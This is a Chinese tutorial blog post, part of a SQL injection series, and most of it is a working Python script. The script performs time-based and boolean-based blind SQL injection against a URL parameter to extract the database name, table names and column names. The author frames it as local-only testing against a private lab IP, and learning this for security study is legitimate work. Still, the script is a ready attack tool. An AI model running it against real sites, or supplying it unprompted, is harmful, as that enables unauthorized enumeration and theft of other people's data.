sql注入(7), python 实现盲注爆破数据库名, 表名, 列名

python 实现盲注

该python脚本根据之前介绍的盲注原理实现, 对于发送的注入请求没有做等待间隔, 可能给目标服务器造成一定 压力, 所以仅限于本地测试使用.

py 复制代码
import requests, time

# 时间型盲注
def time_blind(base_url, cookie):
    for length in range(1, 20): # 测试数据库名长度 1~19
        start = time.time()
        header = {"Cookie": cookie}
        url = f"{base_url} and if(length(database())={length}, sleep(3.5), 1)"
        _ = requests.get(url=url, headers=header)
        end = time.time()
        resptime = end-start
        if int(resptime) >= 3:
            print('数据库长度为:', length)
            break
        else:
            print(url)

# 布尔型盲注爆列名
def bool_blind(base_url, cookie):
    chars = "abcdefghijklmnopqrstuvwxyz0123456789_,"
    session = requests.session()
    base_url = base_url
    header = {"Cookie": cookie}

    # 先定义猜对的时候的长度
    resp = session.get(url=base_url + " and 1=1", headers=header)
    base_len = len(resp.text)

    # 先获取数据库长度
    for db_len in range(1, 20):
        url = f"{base_url} and length(database())={db_len}"
        resp = session.get(url=url, headers=header)
        if len(resp.text) == base_len:
            break

    print(f"数据库长度:{db_len}")

    # 根据数据库长度猜名称
    db_name = ''
    for i in range(1, db_len+1):
        for c in chars:
            url = f"{base_url} and substr(database(), {i}, 1)='{c}'"
            resp = session.get(url=url, headers=header)
            if len(resp.text) == base_len:
                db_name += c
                break

    print(f"数据库名:{db_name}")

    # 根据数据库名称猜表名
    table_name = ''
    for i in range(1, 40):
        for c in chars:
            sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"
            url = f"{base_url} and substr(({sql}), {i}, 1)='{c}'"
            resp = session.get(url=url, headers=header)
            if len(resp.text) == base_len:
                table_name += c
                break

    print(f"数据库中的表名:{table_name}")

    # 猜所有表的列名
    table_list = table_name.strip().split(',')
    for table in table_list:
        column_name = ''
        for i in range(100):
            for c in chars:
                sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{table}'"
                url = f"{base_url} and substr(({sql}), {i}, 1)='{c}'"
                resp = session.get(url=url, headers=header)
                if len(resp.text) == base_len:
                    column_name += c
                    break
        print(f"表{table}的列名:{column_name}")


if __name__ == '__main__':
    url = "http://192.168.112.200/security/read.php?id=1"
    cookie = "PHPSESSID=b4d659be5e17d948fd8e18078003d3f6"
    time_blind(base_url=url, cookie=cookie)
    # bool_blind(base_url=url, cookie=cookie)
相关推荐
海阔天空_20135 分钟前
Python pyautogui库:自动化操作的强大工具
运维·开发语言·python·青少年编程·自动化
MonkeyKing_sunyuhua10 分钟前
ubuntu22.04 docker-compose安装postgresql数据库
数据库·docker·postgresql
天郁青10 分钟前
数据库交互的本地项目:后台管理系统
数据库·交互
零意@13 分钟前
ubuntu切换不同版本的python
windows·python·ubuntu
马剑威(威哥爱编程)15 分钟前
MongoDB面试专题33道解析
数据库·mongodb·面试
思忖小下24 分钟前
Python基础学习_01
python
小光学长41 分钟前
基于vue框架的的流浪宠物救助系统25128(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。
数据库·vue.js·宠物
q567315231 小时前
在 Bash 中获取 Python 模块变量列
开发语言·python·bash
是萝卜干呀1 小时前
Backend - Python 爬取网页数据并保存在Excel文件中
python·excel·table·xlwt·爬取网页数据
代码欢乐豆1 小时前
数据采集之selenium模拟登录
python·selenium·测试工具